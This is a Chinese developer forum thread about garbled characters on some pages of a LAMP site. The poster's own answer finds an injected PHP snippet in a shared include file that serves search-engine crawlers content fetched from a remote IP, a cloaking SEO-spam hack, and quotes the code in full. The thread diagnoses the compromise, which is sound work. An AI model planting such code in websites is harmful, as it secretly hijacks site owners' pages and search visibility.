LAMP,html页面乱码问题

1.今天突然发现网站中有一部分页面出现乱码,注意!是一部分

2.我的解bug过程如下
这个时候第一感觉是不是上传的html文件的编码有问题,使用命令

set fileencoding

查看后相关文件编码没有问题,
。。。
然后查看html头部中的meta部分,设置的也是 utf-8,也是没问题的
。。。
我的服务器环境是 LAMP,查看了下Apache配置中的默认编码,是utf-8,也是没问题的
。。。
查看php文件的问题,文件编码也是没有问题的,
。。。
现阶段我的解决办法试在php文件头部,添加代码

header("Content-Type: text/html; charset=utf-8");

然后有一部分页面的问题解决了,但是仍然有些页面问题解决不了!
求:大神给建议!

阅读 3.1k
2 个回答

数据库编码、页面编码、php文件编码都保持一致

经本人测试,现将问题原因写下来!
1.一句话我们的服务器被攻击了
2.攻击代码如下:

header('Content-Type:text/html;charset=gb2312');
$key= $_SERVER["HTTP_USER_AGENT"];
if(strpos($key,'oogle')!== false||strpos($key,'aidu')!==false)
{
$file = file_get_contents('http://..52.33:81/');
echo $file;
}

这段代码放在一个公共文件中,所有的页面都会引用这个文件,这个就是问题的根源!
由于我的疏忽,一开始排查文件问题时遗漏了这个文件,
。。。
至于有的页面有问题有的页面没问题,是因为 有的php页面顶部有 header 函数,
但是有的页面即使有header函数也不行
这是因为 header函数有的是在 问题文件 的上面。
。。。
另:可以使用 headers_list();函数打印文件输出的headers进行排查文件输出是否有问题!

撰写回答
你尚未登录,登录后可以
  • 和开发者交流问题的细节
  • 关注并接收问题和回答的更新提醒
  • 参与内容的编辑和改进,让解决方法与时俱进
推荐问题